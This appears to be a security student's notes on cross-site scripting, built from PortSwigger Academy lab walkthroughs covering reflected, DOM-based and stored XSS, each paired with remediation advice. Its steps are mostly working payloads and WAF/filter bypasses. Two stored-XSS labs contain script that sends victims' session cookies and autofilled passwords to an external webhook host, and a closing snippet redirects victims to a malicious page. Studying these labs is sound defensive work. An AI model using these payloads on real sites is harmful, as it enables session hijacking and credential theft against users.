Cross-site scripting (XSS) is a web security flaw where attackers inject malicious scripts into trusted websites, which then execute in the browsers of unsuspecting users. This exploitation allows attackers to steal sensitive data, hijack user sessions, or manipulate website content by taking advantage of web applications that do not properly validate or sanitize user input.
Note: 💡 During the testing, use print() prompt("text") instead of alert() since alert() is commonly detected and filtered.
When testing for XXS, test for html injection first because it’s more likely to work
E.g., <h1>test</h1>
Checklist
Click me to expand checklist
-
Is input reflected in the response?
- Can we inject HTML?
- E.g.,
https[://]victim[.]com/search?user=<img src=x onerror=prompt("XSS")>
- E.g.,
- Any weaknesses in the Content Security Policy (CSP)?
- Use of unsafe directives which allow execution of inline scripts or eval() functions, bypassing CSP protections.
E.g.,Content-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval'; - Allowing broad sources or wildcards in directives (e.g., script-src), which permits potentially untrusted external scripts to run.
E.g.,Content-Security-Policy: script-src *; - Inclusion of compromised or vulnerable third-party domains in trusted sources, such as JSONP endpoints that can be exploited to inject malicious scripts.
E.g.,https[://]third-party_domain[.]com/jsonp?callback=prompt("xss is available!") - Omitting strict directives for resources like object-src or failing to restrict nonces and hashes properly which can allow script injection.
- Weak or predictable nonces (e.g., ‘nonce-12345’) that attackers can guess or reproduce to bypass CSP restrictions.
- Use of unsafe directives which allow execution of inline scripts or eval() functions, bypassing CSP protections.
- Can we use events (e.g. onload, onerror)?
<body onload="prompt('XSS via onload!')"> Welcome to the website! </body><a href="https[://]trusted[.]com/search?user=<img src=x onerror=prompt("XXS Available")>"> Click me! </a>
- Are there any filtered or escaped characters?
- E.g.,
<,>,",',javascript:,alert() - Refer to XSS Filter Evasion Cheat Sheet
- E.g.,
-
Is input stored and then later rendered?
- Can we inject into non-changing values (e.g. usernames, comments, etc.)?
- E.g., web application allows user input and stores them without proper sanitization.
- Any input collected from a third party (e.g. account information)?
- Third-party inputs refer to any data or content that comes from an external source (via third-party api) or from other users.
- Is the version of the framework or dependency vulnerable?
1. Reflected XSS
Inject payload into the HTTP request. And once the web server receive the request, it will response with the payload to sender’s browser. It relies on URL to make user fall for the attack.
Labs (Reflected XSS)
Just for demostration, I completed some labs on PortSwigger Academy to show how this vulnerability can lead to:
Click me to expand the labs
1. Reflected XSS into attribute with angle brackets HTML-encoded
The application contains a reflected XSS vulnerability in the search blog feature, where angle brackets are HTML-encoded. I inject an attribute via XSS that triggers an alert function.
Click me to expand the process
- Enter random input (e.g., test123) in the user input (URL query)
URL: https[://]web-security-academy[.]net/?search=test123 - Utilize search function in inspection tab, and search for input (e.g., test123)
Result: <input type="text" placeholder="Search the blog..." name="search" value="test123"> - After learning that our input is within a double-quoted attribute, we can try to bypass the double-quoted attributes by breaking out of the attribute value with the injection of double quotes or equivalent encodings, and then adding the HTML events that triggers the payload.
URL: https[://]web-security-academy[.]net/?search=test123" onmouseover="alert(test) Result: <input type="text" placeholder="Search the blog..." name="search" value="test123" onmouseover="alert(test)">Note: The
valueattribute is closed early by the injected quote, andonmouseover="alert(1)is interpreted as a newonmouseoverattribute on the <input> tag. - Once I hover the cursor over the search bar, it triggers the alert. I identify the XSS vulnerability.
-
2. Reflected XSS into a JavaScript string with angle brackets HTML encoded
In this instance, the application is vulnerable to reflected XSS in the search query tracking functionality, where angle brackets are encoded. The reflection occurs inside a JavaScript string. I break out of the string and triggers the prompt() function, to demonstrate the vulnerability.
Click me to expand the process
-
I enter random input (e.g., test) in the user input (search bar)
- Utilize search function in inspection tab, and search for input (e.g., test). I find that the input is directly past into the function.
var searchTerms = 'test'; document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">'); - Now I learn that my input is inside the single quote, I try breaking out the single quote with:
Input: '-prompt("TestXSS")-' # breaks the single quote or \\'-prompt("TestXSS")// # If single quotes are escaped - The message pops up after I send the query, which confirms that this instance is vulnerable to XSS.
Just to double-check, I pull out the script from the inspection tab.var searchTerms = ''-prompt("TestXSS")-''; document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
-
3. Reflected DOM XSS
In this instance, a script on the page processes reflected data (user input) with eval() without any sanitization and ultimately writes it to a dangerous sink.
Click me to expand the process
- First, I find the script used in the web application under the Network tab on the Inspection page.
- The
xhr.openmethod sends a GET request (with user input retrieved frompath + window.location.search) and fetches data from the server usingXMLHttpRequest. - Then it parses the JSON response (
this.responseText) witheval(). - Lastly, it dynamically create and display search results (
displaySearchResults) in the HTML DOM.
var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { eval('var searchResultsObj = ' + this.responseText); displaySearchResults(searchResultsObj); } }; xhr.open("GET", path + window.location.search); xhr.send(); - The
- I send a test request and intercept the response using Burp Proxy.
{"results":[],"searchTerm":"test"} -
Because the script uses
eval()to process the response, I can insert theprompt()function (see JSON Values in the JSON Syntax).”
Now that I know the JSON structure, I create an input to break out of the expected structure in Burp Repeater. - In the response to my first payload attempt
test\"-prompt()}//, the double quote is escaped by the application, so I add an extra backslash (\) to bypass it.1-st_Request: ?search=test"-prompt()}// Response: {"results":[],"searchTerm":"test\"-prompt()}//"}2-nd_Request: ?search=test\"-prompt()}// Response: {"results":[],"searchTerm":"test\\"-prompt()}//"}Note: The Arithmetic Operators (
-) forcesprompt()to be parsed and executed as part of an expression. And ensuring it is executed immediately, not just ignored. And the//comments out whatever is after it.
-
4. Reflected XSS into HTML context with most tags and attributes blocked
In this instance, the /?search parameter is being reflected into the page as HTML without proper contextual encoding or sanitization, and the WAF’s tag/attribute filtering is insufficient, so I bypass the filter and executes prompt().
Click me to expand the process
- After using general XSS testing payloads, I learn that the WAF is blocking some HTML tags to prevent common XSS.
Payload: <img src="0" onerror="prompt()"> Respond: "Tag is not allowed" - To find out which tag isn’t blocked, I used Burp Intruder with all tag options as payload (retrieved from the XSS cheat sheet). The result tells me that
<body>is not blocked by the WAF.Burp Intruder: GET /?search=<Payload Position> HTTP/2 - After enclosing payloads within the
<body>tag, I learn that the WAF is also blocking some attributes.Payload: <body onload="prompt()"> Respond: "Attributes is not allowed" - Repeating step 2, but this time I copy the events from the XSS cheat sheet. I got some events that comes back with 200 OK.
Burp Intruder: GET /?search=<body%20<Payload Position>=prompt()> - To make the exploitation more realistic, after going through the unfiltered event attributes:
- I used an
<iframe>to embeds this vulnerable webpage (src="https[://]vulnerable[.]com/). - The query parameter
/?searchthen load the URL-encoded payload%22%3E%3Cbody+onresize=prompt()%3E - this.style.width to adjust the iframe’s size, which will trigger the
onresizeevent andprompt().
<iframe src="https[://]vulnerable[.]com/?search=%22%3E%3Cbody+onresize=prompt()%3E" onload=this.style.height='88px'></iframe> - I used an
- Because I bypass the WAF filter with non-filterd tag and attribution, the function
prompt()will be executed once someone clicks on the link.
Suggestion
- Treating user input strictly as data. Encode/escape for the HTML context or render search terms as text nodes, never raw HTML.
- Apply a server‑side allowlist sanitizer (or a vetted library such as DOMPurify when sanitization is required)
- Enforce Content Security Policy that disallows inline event handlers/scripts.
- Harden WAF normalization/rules to catch decoded event-attribute payloads.
-
5. Reflected XSS into HTML context with all tags blocked except custom ones
In this instance, I find that the WAF blocks standard tags but allows custom element names. Because browser will parse custom tags as valid elements (<cust-foo>) and allow attributes (onfocus), I bypass the WAF and execute a prompt with custom tag, and other components to simulate the exploit in a real‑world scenario.
Click me to expand the process
- I started by testing the input form, and the response indicated that the tag was blocked.
Request: GET /?search=<script>test</script> Response: "Tag is not allowed" - Then I tried using a custom tag (
<cust-foo>); this time, I did not receive any error. This confirms that the WAF does not block custom tag.Request: GET /?search=<cust-foo>test</cust-foo> Response: HTTP/2 200 OK - The browser treats custom tags (
<cust-foo>) as valid HTML elements and parses their attributes and event handlers (onmouseover), which execute JavaScript when triggered by moving the cursor over a specific spot.Request: GET /?search=<cust-foo onmouseover='prompt("xss")'>Move your mouse here</cust-foo> Response: A pop-up "xss" - To make the exploitation more realistic, I used custom tags with some components to create an .html file. As soon as a user opens it, they woulbe be redirected to the designated page and the prompt was executed:
window.location.assign(): Redirect the user’s browser to a new URL while keeping the current page in the session history (Back button available).id: Gives the element a unique identifier in the DOM (e.g., a1).tabindex: Makes the element focusable, which can be used withonfocusevents.onfocus: The JavaScript will be triggered when the element (id) receives focus.#a1: Call out and focus on the elementa1.
<script> window.location.assign("https[://]vulnerable[.]com/?search=<cust-tag id=a1 tabindex=1 onfocus='prompt("I am focusable")'>#a1") </script>
Suggestion
- Use a proven HTML sanitizer (e.g. DOMPurify) on output that must contain HTML (server-side)
- Configure allowlists, only permit required tags and attributes, and explicitly exclude all event handler attributes (e.g., on*).
- Apply the appropriate encoding based on where the data will be used (body, attribute, JavaScript string, URL, CSS), and do not rely on a single generic encoding for all contexts.
- Prefer framework helpers and templating engines that provide automatic, correct output escaping rather than hand‑rolling your own escaping logic.
- Remove unnecessary HTML rendering of user‑supplied content whenever possible. If a field is a search query or otherwise simple text, return it as plain text (properly escaped) instead of rendering it as HTML with tags.
-
6. Reflected XSS with some SVG markup allowed
In this instance, I discovered a reflected XSS vector that bypasses the WAF by using certain unfiltered tags and event. By inserting those, I was able to execute JavaScript, demonstrating a reflected XSS bypass through SVG + SMIL animation events.
Click me to expand the process
- I started by testing the input form, and the response indicated that the tag was blocked.
Request: GET /?search=<script>prompt()</script> Response: "Tag is not allowed" - To find out which tag isn’t blocked, I used Burp Intruder with all tag options as payload (retrieved from the XSS cheat sheet). The result tells me that
<animatetransform>,<image>,<svg>,<title>are not blocked by the WAF.Burp Intruder: GET /?search=<Payload Position> HTTP/1.1 - Next, to find out which event is not filtered. I repeated step 2 but copied the events from the XSS cheat sheet. I use
<image>as example since I know it is not filtered, then I received onlyonbeginevents that returned 200 OK.Burp Intruder: GET /?search=<image+src="x"+<Payload Position>=1> HTTP/1.1 - After some researches, I learned that
<svg>and<animatetransform>can be used withonbegin. To test it out, I insertedprompt(), and the application responded with a pop‑up window containing my text, which proves that I bypassed the WAF’s filters and executed a test script.<svg><animatetransform onbegin='prompt("Is this vulnerable to XSS?")'>
Suggestion
- Treat any HTML or SVG in user input as untrusted. Ensure server‑side output encoding is applied.
- If you must allow HTML/SVG, sanitize server‑side with a library that understands and safely handles SVG (e.g., DOMPurify).
- Deploy Content Security Policy that avoids unsafe-inline and blocks inline script execution and data:/javascript: URLs (use script-src ‘self’ plus nonces/hashes if inline scripts are required).
-
7. Reflected XSS in canonical link tag
In this instance, I discovered that untrusted input from the URL query string is reflected into canonical link tag in the page source. By injecting accesskey attribute, I was able to prove code execution in the page context after pressing the keystroke triggered JavaScript.
Click me to expand the process
- I opened the Inspector and found the canonical link in the source code.
<link rel="canonical" href="https://web-security-academy.net/"> - I inserted a test string (
?test) into the URL and saw my input rendered directly in the canonical link.<link rel="canonical" href="https[://]web-security-academy[.]net/?test"> - I then added an
accesskeyattribute to the<link>tag, and when the designated key was pressed it triggered theonclickevent. The results showed:- Spaces in my input were encoded (
%20) in the URL, but they were rendered as extra encoded spaces (%20) in the source code. - A single quotes were encoded (
%27) in the URL, but they rendered as double quotes in the source code.Request: /?test' accesskey='x' onclick='prompt(test) Response: <link rel="canonical" href="https[://]web-security-academy[.]net/?test" %20accesskey="x" %20onclick="prompt(test)">
- Spaces in my input were encoded (
- To bypass this, I removed the spaces from my input. After pressing Ctrl+Alt+X, a popup displayed my message.
Request: /?test'accesskey='x'onclick='prompt("XSS vulnerable? YES!") Response: <link rel="canonical" href="https[://]web-security-academy[.]net/?test" accesskey="x" onclick="prompt("XSS vulnerable? YES!")">
Suggestion
- Don’t reflect user input directly into HTML, ensure server‑side output encoding is applied.
- Sanitize & validate input, if input used as a URL, validate against an allow-list of permitted patterns.
- Use DOM methods to create and manage elements, attributes, and text nodes safely.
- Add/strengthen Content Security Policy.
- Use HTTP security headers.
-
8. Reflected XSS into a JavaScript string with single quote and backslash escaped
In this instance, I discover a XSS vulnerability in the search tracking code. The application inserts user input directly into a JavaScript single-quoted string and escapes single quotes with a backslash, but it does not prevent breaking out of the surrounding script context (angle bracket > not escaped). I terminate the <script> tag and injecting a new <script> block.
Click me to expand the process
- I start by testing the input (
test_input) to see where it is rendered in the source code, then I find my input is in a search function.<script> var searchTerms = 'test_input'; document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">'); </script> - To test whether I can break out of the single quote (
'), I try entering a single quote, but it is escaped with a backslash ('\).<script> var searchTerms = '\'test_input'; document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">'); </script> - I try to escape the backslash (
\\'), but it doesn’t work.<script> var searchTerms = '\\\'test_input'; document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">'); </script> - Then I discover that the angle bracket isn’t escaped, so I close the existing tag with
</script>and insert a new one<script>prompt();</script>. A popup then displays my message.<script> var searchTerms = '</script><script>prompt("Am I vulnerable to XSS");</script> ';document.write('
Suggestion
- Validate and sanitize user input on client side to reject or clean inputs containing malicious characters or script tags.
- When inserting user input into JS strings, use output encoding that safely escapes all special characters that could break the context, not just single quotes and backslashes.
- Don’t place variables into dangerous contexts as even with output encoding.
- Implement Content Security Policy that limits the sources and inline script execution.
-
9. Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped
In this instance, user input is inserted into a
Click me to expand the process
- I start by testing the input (
test_input) to see where it is rendered in the source code, then I find my input is in a search function.<script> var searchTerms = 'test_input'; document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">'); </script> - To test whether I can break out of the single quote (
'), I try entering a single quote and inserting a new tag, but the single quote is escaped with a backslash (\'), and the angle bracket and double quote are HTML-encoded for escaping.<script> var searchTerms = '\' </script><img src="x" onerror="prompt()">'; </script> - I try to escape the backslash (
\\'), and it works.<script> var searchTerms = '\\''; </script> - Now I know that the single quote will be escaped with a backslash (
\'), but the backslash itself can be escaped by inserting another backslash (\\'). Double quotes and angle brackets are HTML-encoded for escaping. We can craft the payload:- Backslash neutralizes the escaping (
\\'). - Hyphen serves as a valid operator between two expressions ensures the payload executes as JavaScript (‘string’ - prompt()).
- Double forwardslash comments out trailing quotes (
//).<script> var searchTerms = '\\' - prompt()//'; </script>
- Backslash neutralizes the escaping (
- As the web application response with a pop up window, I am assure that it is vulnerable to reflected XSS.
Suggestion
- Apply JS context-aware encoding when injecting untrusted data into JavaScript,
- Validate and sanitize user input on client side to reject or clean inputs containing malicious characters or script tags.
- Implement a CSP header to reduce the impact of XSS.
- Employ frameworks or libraries (e.g., angular) that automatically escape user input based on context, or server-side templating engines with built-in sanitization.
-
10. Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped
This web application is vulnerable to a Reflected XSS flaw due to unsafe interpolation of user input within a JavaScript template literal. Although special characters (<>, ", ', \, `) are Unicode-escaped, the vulnerability remains because input is evaluated inside a ${} expression within the template literal without proper escaping.
Click me to expand the process
- I start by testing the input (
'"<>\) to see where it is rendered in the source code, then I find my input is in a JavaScript template literals. And I also notice that all the special characters are unicode-escaped.<script> var message = `0 search results for '\u0027\u0022\u0060\u003c\u003e\u005c'`; document.getElementById('searchMessage').innerText = message; <\script> - Because JavaScript evaluates whatever is inside the embedded expression (
${}) of a template literal as code, I tried to insert my payload directly to test whether there was a filter or any other protection implemented. A window popped up after inserting my payload, which proves this instance is still vulnerable to reflected XSS because there is no protection on its JS template literal.<script> var message = `0 search results for '${prompt()}'`; document.getElementById('searchMessage').innerText = message; <\script>
Suggestion
- Apply JS context-aware encoding when injecting untrusted data into JavaScript,
- Apply a server‑side allowlist sanitizer (or a vetted library such as DOMPurify when sanitization is required)
- Implement CSP header to reduce the impact of XSS.
-
2. Dom-Based XSS
Client-side has vulnerable JavaScript. It doesn’t involve with the server-side, completely rely on client’s browser to execute the payload. One quick check is turn on the developer tool, input and execute a simple prompt or alert script, see if there’s any network interaction with the server.
Note: 🚨 Inspecting Network page in the developer tab while sending input. If there’s no external communication happens, it indicates it is Dom-Based XXS.
Labs (Dom-Based XSS)
Just for demostration, I completed some labs on PortSwigger Academy to show how this vulnerability can lead to:
Click me to expand the labs
1. DOM-based XSS in document.write sink using source location.search
The target application use document.write() function to display content from location.search, which comes from the URL query string. Allows users to modify the URL, and to inject and execute arbitrary scripts in the page.
Click me to expand the process
- Enter random input (e.g., 123456) in the user input (URL query)
https[://]web-security-academy.net/?search=123456 -
Right-click on the webpage and open the inspection tab
- Press
Crtl+Fto open search function in inspection tab, and search for input (e.g., 123456)Result: <img src="/resources/images/tracker[.]gif?searchTerms=123456"> - After knowing the syntax. We can add a closing angle bracket to close up the img tag, and add a new tag with the payload. I use HTML encoding to bypass the filter.
URL: "><script src=x onerror="javascript:alert('XSS')"></script> Result: <img src="/resources/images/tracker[.]gif?searchTerms="> <script src="x" onerror="javascript:alert('XSS')"></script>
-
2. DOM XSS in innerHTML sink using source location.search
The application It assigns data from location.search to innerHTML, which updates the contents of a <div>. Since the URL can be controlled by the user, they can inject malicious HTML or scripts.
Click me to expand the process
- Enter random input (e.g., 123456) in the user input (URL query)
https[://]web-security-academy.net/?search=123456 -
Right-click on the webpage and open the inspection tab
- Press
Crtl+Fto open search function in inspection tab, and search for input (e.g., 123456)Result: <span id="searchMessage">123456</span> - After knowing the syntax. I can add a closing tag to close up
<span>, and add a new<img>tag with the payload. I use HTML encoding to bypass the filter.URL: https[://]web-security-academy[.]net/?search=</span><img src=x onerror="javascript:alert('XSS')"> Result: <span id="searchMessage"><img src="x" onerror="javascript:alert('XSS')"></span> <span>'</span> == $0
-
3. DOM XSS in jQuery anchor href attribute sink using location.search source
In this instance, jQuery’s $ selector is used to find a link and set its href using data from location.search, which comes from the URL query string.
Click me to expand the process
- Right-click on the webpage and open the inspection tab. I search for
location.search, which led me to this script:$(function() { $('#backLink').attr("href", (new URLSearchParams(window.location.search)).get('returnPath')); }); - I also notice that the URL contains the
returnPathquery parameter, which aligns with the script. Which uses this query parameter to set the href attribute of the backlink.URL: https[://]web-security-academy[.]net/feedback?returnPath=/ - Insert the payload into the
returnPathquery parameter.URL: https[://]web-security-academy[.]net/feedback?returnPath=javascript:prompt(document.cookie) Result: <a id="backLink" href="javascript:prompt(document.cookie)">Back</a>
-
4. DOM XSS in jQuery selector sink using a hashchange event
There is a DOM-based XSS vulnerability on the home page, where jQuery’s $() selector is used to auto-scroll to a post, with the title passed through location.hash.
Click me to expand the process
- Firstly, I search for
$()in the inspection tab, and I find the syntax for this function. Which listens for hash changes in the URL (/#) and scrolls the corresponding blog post into view based on the hash value.$(window).on('hashchange', function(){ var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')'); if (post) post.get(0).scrollIntoView(); }); - I append a simple XSS test payload with a hashtag to the URL, and the print function is triggered. The XSS vulnerability in this application is confirmed.
URL: https[://]web-security-academy[.]net/#<img src=x onerror=print()> - In the case that I want to deliver this payload to others, I utilize
iframe,onload,img src, andonerrorto trigger the payload once they open the page.URL: <iframe src="https[://]web-security-academy[.]net/#" onload="this.src+='<img src=x onerror=print()>'"></iframe>Note: The
onloadattribute of theiframeruns JavaScript to append the print payload directly into the URL fragment after the page loads. The vulnerable page inside the iframe then reads this fragment (<img src=x onerror=print()>) and executes the injected payload.
-
5. DOM XSS in document.write sink using source location.search inside a select element
This instance contains a DOM-based XSS vulnerability in the stock checker functionality. It leverages the document.write function to output data to the page, using data from location.search that user can control through the website URL. The input data is between the <option> tag, I break out of it and calls the prompt function.
Click me to expand the process
- Firstly, I discover the function in the inspection tab (
right-click on the webpage > inspect). And I learn that the script builds a<select name="storeId">dropdown by reading astoreIdquery parameter from the URL and, if present, adding it as the selected<option>before adding the three hard-coded stores (skipping any duplicate). It usesdocument.writewith the raw URL value, so unescaped input could be reflected into the page; creating elements and setting textContent/value.var stores = ["London", "Paris", "Milan"]; var store = (new URLSearchParams(window.location.search)).get('storeId'); document.write('<select name="storeId">'); if(store) { document.write('<option selected>' + store + '</option>'); } for(var i = 0; i < stores.length; i++) { if(stores[i] === store) { continue; } document.write('<option>' + stores[i] + '</option>'); } document.write('</select>'); - After discovering that the function takes user input in the
storeIdparameter, I add thestoreIdparameter after the originalproductIdparameter with a&. I then send a test input (e.g., test) to see the application’s response. As expected, I am able to add a new selected<option>.URL: https[://]web-security-academy[.]net/product?productId=2&storeId=test Result: <select name="storeId"> <option selected>test</option> # I create this option by inserting the parameter and value in the URL. <option>London</option> <option>Paris</option> <option>Milan</option> - Remember this syntax
document.write('<option>' + stores[i] + '</option>');from the function. What I can do is close the first<option>tag, inject new HTML tags and event attributes, and then open another<option>tag. I try injecting a couple of new HTML tags, and both work. Now, I can confirm that the stock search query function on this web application is vulnerable to XSS.Payload-1: storeId=test</option><iframe src="javascript:prompt('work?');"></iframe><option> Payload-2: storeId=test</option><script>prompt('work?')</script><option>
-
6. DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded
This instance contains a DOM-based XSS vulnerability in an AngularJS expression within the search functionality. I inject a method (e.g. $on/$eval) that is available in the current scope to bypass AngularJS’s security filter, append the .constructor property to create a Function object (function(user_input)), and then call it with () to execute the created function.
Note: Refer to AngularJS DOM XSS Attack for more details walkthrough
Click me to expand the process
- After did some researches (AngularJS - Escaping the Expression Sandbox, Function() constructor, Object.prototype.constructor, ) I come up with a couple of different payloads to pybass the security filter.
Payload-1: \{\{$eval.constructor(prompt('AngularJS_xss'))()\}\} Payload-2: \{\{$on.constructor('prompt("AngularJS_xss")')()\}\}
-
3. Store-Based XSS
Payload is stored in the database, and victim’s browser will retrieve it once it visit the page. For instance:
- In the attacker’s browser leave html injection comment: <h1>test</h1>.
- Visit the same page from victim’s browser

Labs (Store-Based XSS)
Just for demostration, I completed some labs on PortSwigger Academy to show how this vulnerability can lead to:
Click me to expand the labs
1. Stored XSS into anchor href attribute with double quotes HTML-encoded
This instance contains a stored XSS vulnerability in the comment section. I submit a comment that triggers an alert when the author’s name is clicked.
Click me to expand the process
-
In the comment section, there are four fields (Comment, Name, Email, Website). After filling out all the fields and submitting my comment, I notice that the Name section contains an external link, which is the website I enter while filling out the form.
- I use the search function in the inspection tab to look for the website I enter. And I find:
Result: <a id="author" href="Website.com">Name</a> - Now, I determine that the href attribute accepts user input, so I enter a simple payload into the Website field. It is confirmed that the alert will be triggered when I click on the Name.
Website: javascript:alert('Zebra!') Result: <a id="author" href="javascript:alert('Zebra!')">World Smartest Zebra</a>
-
2. Stored DOM XSS
In this instance, the comment rendering is vulnerable to stored DOM‑based XSS because escape() only replaces the first <, > so I bypass it which leaves later tags unescaped, allowing arbitrary script execution when the page inserts comments into the DOM.
Click me to expand the process
- Firstly, I look into the script used in the web application under the Network tab on the Inspection page. And I find there is an escape function using replace()
function escapeHTML(html) { return html.replace('<', '<').replace('>', '>'); }Note: A string pattern will only be replaced once. To perform a global search and replace, use a regex with the g flag, or use replaceAll() instead.
- Now that I know only the first set of angle brackets is escaped and anything after that isn’t, I craft my payload as:
Payload: <><img src="x" onerror="prompt('I am escaped!')"> Rendered: <p> <> <img src="x" onerror="prompt('I am escaped!')"> </p> - A prompt pops up with a message after I submit (store) the payload in the comment section, which indicates the filter mechanism (
replace()function) was bypassed and the application is still vulnerable to XSS.
Suggestion
- Make the escaping correct (use global replacements or replaceAll/regex)
- Deploy Content Security Policy that disallows inline handlers, and protect cookies (HttpOnly/SameSite) to reduce impact.
-
3. Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped
In this instance, I discover a Stored XSS vulnerability in the comment feature, specifically within the onclick event handler of anchor (<a>) elements. User input (from the “Website” field) is embedded directly into the JavaScript code inside an HTML attribute without applying proper context-specific encoding or sanitization. I was able to bypass the escaping and trigger the prompt by encoding my payload as an HTML entity.
Click me to expand the process
-
In the comment section, there are four fields (Comment, Name, Email, Website). After filling out all the fields and submitting my comment, I notice that the Name section contains an external link, which is the website I enter while filling out the form.
- I look into the inspection tab and pull out the syntax
<a id="author" href="Website" onclick="var tracker={track(){}};tracker.track('Website');">User_Name</a> - I try to break out of the single quote in the
onclickevent, so when the user clicks an external link on the website, it will trigger theonclickevent. But I notice that my single quote is escaped (\'), so the prompt isn’t executed.<a id="author" href="http://Website.com\'); prompt();//)" onclick="var tracker={track(){}};tracker.track('http://Website.com\'); prompt();//');">User_Name</a>Note: The user input is used inside the
tracker.track()call, enclosed in single quotes. So I close the first statement (');), insert the testing payload, then close the second statement (prompt();). Lastly, I use double forward slashes (//) to comment out the rest of the syntax. -
I use an additional backslash to neutralize the backslash that’s meant to escape the single quote (
\'), but it is also escaped (\\\'). - To bypass this, I use Cyberchef to HTML-encode my payload.
Plain-text: ');prompt();// HTML-Entity: ');prompt();// - After submitting the website with the encoded payload appended, I successfully bypassed the filter. I can trigger the prompt by clicking the website’s external link, which proves the stored XSS vulnerability.
<a id="author" href="http://Website.com\'); prompt();//" onclick="var tracker={track(){}};tracker.track('http://Website.com\'); prompt();//');">tes</a>
Suggestion
- Use JS and HTML attribute context-aware output encoding before rendering untrusted data inside event handlers or inline scripts. Avoid embedding untrusted user input directly into inline JavaScript.
- validate inputs (e.g., quotes, backslashes, and parentheses) in the “Website” field.
- Avoid writing event handlers directly inline in the HTML (e.g.,
<button onclick="doSomething()">), separate the structure (HTML) from behavior (JavaScript). - Apply a CSP header that blocks inline scripts and restricts script execution to trusted sources only.
-
4. Store XSS in comment section to steal cookies
The web application contains a Stored XSS vulnerability in its comment section, I retrieve other users’ cookie session by storing the persist JavaScript that executes in the browsers of other users who view the infected post.
Click me to expand the process
-
To start with, I leave a prompt function in the comment section of a post on the web application for testing the XSS vulnerability. After I refresh the page, a window pop up to prove it is vulnerable to XSS.
- To simulate a more realistic scenario, I leave JavaScript that causes other users’ browsers to automatically post their session cookies to my controlled domain (Webhook).
<script> fetch('https[://]webhook[.]site', { method: 'POST', mode: 'no-cors', body: document.cookie }); </script> - After retrieving the cookie, I can use it to impersonate the cookie owner for further exploitation.
Suggestion
- Use a proven HTML sanitizer (e.g. DOMPurify) to safely handle rich-text or HTML input.
- Escape characters appropriately for the output context (HTML, JavaScript, or attributes).
- Set session cookies with the HttpOnly and Secure flags to prevent access via JavaScript and enforce HTTPS usage
- Apply a CSP header that blocks inline scripts and restrict script sources.
- validate inputs (e.g., quotes, backslashes, and parentheses) in all user input fields.
-
5. Exploiting cross-site scripting to capture passwords
The web application is vulnerable to a stored XSS in the post comment section. This vulnerability allows an attacker to inject JavaScript function into user comments. When other users view the compromised comment, it executes in their browsers and automatically exfiltrating saved credentials from browser password managers by using a fetch() call to send the data to external domain.
Click me to expand the process
-
To start with, I leave a prompt function in the comment section of a post on the web application for testing the XSS vulnerability. After I refresh the page, a window pop up to prove it is vulnerable to XSS.
- To simulate a more realistic scenario. In the comment field of the post, I create two HTML input fields that cause users’ password managers to automatically fill the saved username and password and forward them to my controlled domain. (Webhook).
<input name=username id=username> <input type=password name=password onchange="if(this.value.length)fetch('https[://]webhook[.]site',{ method: 'POST', mode: 'no-cors', body:username.value+':'+this.value });"> - After retrieving the users’ credentials, I can use it to impersonate the cookie owner for further exploitation.
Suggestion
- Use a proven HTML sanitizer (e.g. DOMPurify) to safely handle rich-text or HTML input.
- Escape characters appropriately for the output context (HTML, JavaScript, or attributes).
- Apply a CSP header that blocks inline scripts and restrict script sources.
- validate inputs (e.g., quotes, backslashes, and parentheses) in all user input fields.
- On client-side, disable autofill in sensitive contexts.
-
6. Exploiting cross-site scripting to bypass CSRF protections
Click me to expand the process
Suggestion
- Use a proven HTML sanitizer (e.g. DOMPurify) to safely handle rich-text or HTML input.
- Escape characters appropriately for the output context (HTML, JavaScript, or attributes).
- Apply a CSP header that blocks inline scripts and restrict script sources.
- validate inputs (e.g., quotes, backslashes, and parentheses) in all user input fields.
- On client-side, disable autofill in sensitive contexts.
-
Page Redirect
User could inject the following code into a vulnerable website, causing an automatic redirect to a malicious site. When a victim loads the page with this injected script, they will be automatically redirected to <$url>.
src=x onerror="window.location.href='<$url>'"
</details>